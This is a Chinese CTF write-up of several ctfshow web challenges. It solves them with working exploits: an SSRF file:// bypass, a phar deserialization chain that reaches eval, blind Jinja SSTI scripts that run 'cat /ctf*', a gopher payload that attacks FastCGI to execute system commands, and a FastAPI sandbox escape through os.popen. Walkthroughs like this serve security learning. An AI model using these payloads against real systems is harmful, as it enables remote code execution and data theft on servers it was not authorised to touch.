写完忘传了,翻看自己的笔记发现好多没传的嘞
web签到
<?php
error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);
自己调用内置方法,看看phpinfo里有一个自定义的函数
?f=ctfshow_1024
成功拿到flag
柏拉图
进去看到有输入url的地方,开始判断为ssrf
测试一下,http://baidu.com
但是回显难道我不知道你在想什么?除非绕过我?!
然后测试了baidu.com
直接就跳转到百度的页面了
试试file协议读取
file:///var/www/html/index.php
双写绕过可以
filefile://:///var/www/html/index.php
/index.php
<?php
error_reporting(0);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['url'])){
$url = $_GET['url'];
$bad = 'file://';
if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
{
die('难道我不知道你在想什么?除非绕过我?!');
}else{
$url=str_replace($bad,"",$url);
curl($url);
}
}
?>
看看其他页面的源码
/upload.php
<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在啦!";
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
}else{
echo "这个文件我不喜欢,我喜欢一个gif的文件";
}
}
?>
/readfile.php
<?php
error_reporting(0);
include('class.php');
function check($filename){
if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
die("姿势太简单啦,来一点骚的?!");
}else{
return 0;
}
}
if(isset($_GET['filename'])){
$file=$_GET['filename'];
if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
die("这么简单的获得不可能吧?!");
}
echo readfile($file);
}
?>
里面显示包含class.php
也可以读一下
/unlink.php
<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){
if (preg_match("/\.\.\//i",$file)){
die("你想干什么?!");
}else{
return $file;
}
}
if(file_exists("upload/".$file)){
if(unlink("upload/".check($file))){
echo "删除".$file."成功!";
}else{
echo "删除".$file."失败!";
}
}else{
echo '要删除的文件不存在!';
}
?>
/class.php
<?php
error_reporting(0);
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
?>
在class.php
中有eval入口,但是没有参数啊,但是他有文件上传的点,后面想起来是自己一个没补的坑嘞,phar反序列化,正好借着这个题好好看看去,不过这个链子挺好审的倒是
A::__destruct->B::__toString->C::__invoke
OK浅学归来
<?php
class A {
public $a;
}
class B {
public $b;
}
class C{
public $c='system("ls /");';
}
$a = new A();
$b = new B();
$c = new C();
$a->a = $b;
$b->b = $c;
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetaData($a);
$phar->addFromString("test2.txt", "test2");
$phar->stopBuffering();
?>
用协议去读一下
compress.zlib://phar://upload/a.gif
看到flag在ctfshow_1024_flag.txt
改一下代码就行,再去读就OK了
_hello_world
Hello,POST:key!
SSTI,先自己测试一下
{{7*7}}
{7*7}
发现过滤了{{,_
于是想到利用{%%}写入控制语句
试了print但是没有啊,后面去看了hint,提示是盲注
这个还真不会嘞
后面去看了师傅们的做题方法,利用的就是if
控制语句
利用if
语句进行回显,新姿势
突然也想起来可以用if判断
{%if 条件%}result{%endif%}
{%if not a%}yes{%endif%}
回显yes
过滤了_
可以选择进行编码绕过一下,十六进制和unicode编码都可以
key={%if ""["\x5f\x5fclass\x5f\x5f"]!=1%}sss{%endif%}
附上我简写的字符串转十六进制的脚本:
while True:
input_str = input("请输入要转换的字符串(输入 quit 退出):")
if input_str == "quit":
break
hex_str = ''.join([hex(ord(c)).replace('0x', '') for c in input_str])
print(f"转换后的十六进制字符串为:{hex_str}")
key={%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[xxxxxxxxxxxxxxxx]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")!=1%}air{%endif%}
爆破一下可用是os模块
import requests
url = 'https://bae7fe0f-48b6-4241-a419-2934bccd6caf.challenge.ctf.show/'
for i in range(1, 500):
data = {
"key": '{%if ()["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()['+str(i)+']["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["eval"]%}sss{%endif%}'
}
r = requests.post(url, data=data)
if 'sss' in r.text:
print(i)
break
/64
直接就利用eval函数就可以,接下来就是进行盲注了
import requests
url = 'http://ba3eb7d5-10de-4f6a-bc38-1979e40877d1.challenge.ctf.show/'
dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{-}'
flag = ''
for i in range(0, 200):
for j in dic:
data2 = {
"key": '{%if ()["\\u005f\\u005fclass\\u005f\\u005f"]["\\u005f\\u005fbase\\u005f\\u005f"]["\\u005f\\u005fsubclasses\\u005f\\u005f"]()[64]["\\u005f\\u005finit\\u005f\\u005f"]["\\u005f\\u005fglobals\\u005f\\u005f"]["\\u005f\\u005fbuiltins\\u005f\\u005f"]["eval"]("\\u005f\\u005fimport\\u005f\\u005f")("os")["\\u005f\\u005fdict\\u005f\\u005f"]["popen"]("cat /ctf*")["read"]()[' + str(
i) + ']=="' + j + '"%}sss{%endif%}'
}
r2 = requests.post(url, data=data2).text
if 'sss' in r2:
flag += j
print(flag)
____________执行结果________________
c
ct
ctf
ctfs
ctfsh
ctfsho
ctfshow
ctfshow{
ctfshow{3
ctfshow{32
ctfshow{329
ctfshow{3294
ctfshow{32948
ctfshow{32948a
ctfshow{32948af
ctfshow{32948af7
ctfshow{32948af7-
ctfshow{32948af7-b
ctfshow{32948af7-bd
ctfshow{32948af7-bd8
ctfshow{32948af7-bd80
ctfshow{32948af7-bd80-
ctfshow{32948af7-bd80-4
ctfshow{32948af7-bd80-48
ctfshow{32948af7-bd80-485
ctfshow{32948af7-bd80-4855
ctfshow{32948af7-bd80-4855-
ctfshow{32948af7-bd80-4855-b
ctfshow{32948af7-bd80-4855-b6
ctfshow{32948af7-bd80-4855-b6b
ctfshow{32948af7-bd80-4855-b6b4
ctfshow{32948af7-bd80-4855-b6b4-
ctfshow{32948af7-bd80-4855-b6b4-a
ctfshow{32948af7-bd80-4855-b6b4-ad
ctfshow{32948af7-bd80-4855-b6b4-adf
ctfshow{32948af7-bd80-4855-b6b4-adf1
ctfshow{32948af7-bd80-4855-b6b4-adf1c
ctfshow{32948af7-bd80-4855-b6b4-adf1cb
ctfshow{32948af7-bd80-4855-b6b4-adf1cb7
ctfshow{32948af7-bd80-4855-b6b4-adf1cb77
ctfshow{32948af7-bd80-4855-b6b4-adf1cb77b
ctfshow{32948af7-bd80-4855-b6b4-adf1cb77bb
ctfshow{32948af7-bd80-4855-b6b4-adf1cb77bb5
ctfshow{32948af7-bd80-4855-b6b4-adf1cb77bb5e
ctfshow{32948af7-bd80-4855-b6b4-adf1cb77bb5e}
简单是简单,就是写脚本有点麻烦
图片代理
进去是一张图片
抓包看一下,发现是nginx服务器
看看url有传入的点
后面一串一base64加密,翻译过来就是
http://p.qlogo.cn/gh/372619038/372619038/0
ssrf的东西,试试用file协议去读配置文件,看看他是什么配置
查了一下,nginx的配置文件位置是(虚拟主机配置)
/etc/nginx/conf.d/default.conf
file:///etc/nginx/conf.d/default.conf
base64加密一下:
ZmlsZTovLy9ldGMvbmdpbngvY29uZi5kL2RlZmF1bHQuY29uZg==
成功拿到配置文件
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/bushihtml;
index index.php index.html;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
location = /404.html {
internal;
}
}
用gopher打fastcgi
python2 gopherus.py --exploit fastcgi
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
base64加密再传
Z29waGVyOi8vMTI3LjAuMC4xOjkwMDAvXyUwMSUwMSUwMCUwMSUwMCUwOCUwMCUwMCUwMCUwMSUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMSUwOSUwMSUwMCUwRiUxMFNFUlZFUl9TT0ZUV0FSRWdvJTIwLyUyMGZjZ2ljbGllbnQlMjAlMEIlMDlSRU1PVEVfQUREUjEyNy4wLjAuMSUwRiUwOFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xJTBFJTAyQ09OVEVOVF9MRU5HVEg1NiUwRSUwNFJFUVVFU1RfTUVUSE9EUE9TVCUwOUtQSFBfVkFMVUVhbGxvd191cmxfaW5jbHVkZSUyMCUzRCUyME9uJTBBZGlzYWJsZV9mdW5jdGlvbnMlMjAlM0QlMjAlMEFhdXRvX3ByZXBlbmRfZmlsZSUyMCUzRCUyMHBocCUzQS8vaW5wdXQlMEYlMUNTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9idXNoaWh0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDA4JTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3bHMlMjAvJTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw
fastapi
打开题目得到的是一个json数据,看了一眼题目fastapi,百度告诉我们FastAPI是基于python3.6+和标准python类型的一个现代化的,快速的(高性能),构建api的web框架。
Fast: 非常高的性能,媲美nodejs和go。可用的最快的Python框架之一. Fast to Code 增加了200%~300%开发功能的速度 Fewer Buys 减少了40%的人为开发错误 Intuitive 伟大的编辑支持。减少了debug时间。 Easy 简单的使用和学习设计,减少了阅读文档的时间。 Short 减少代码重复,每个参数声明的多个特性,更少的错误。 Robust 获得生产就绪代码。自动交互文档。 Standards-based 基于开放的标准API: OpenAPI和JSON Schema
在那个POST处可以利用q参数注入
#正常回显
q=str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__'])
#回显{"res":"hack out!","err":false},说明import被过滤,拼接一下即可
q=str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__import__'])
q=str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__'])
#popen被过滤,也使用拼接绕过。得到回显{"res":"main.py\nstart.sh\n","err":false}
q=str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read())
一开始根目录下没找到flag,查看一下main.py的内容得到提示flag在/mnt/f1a9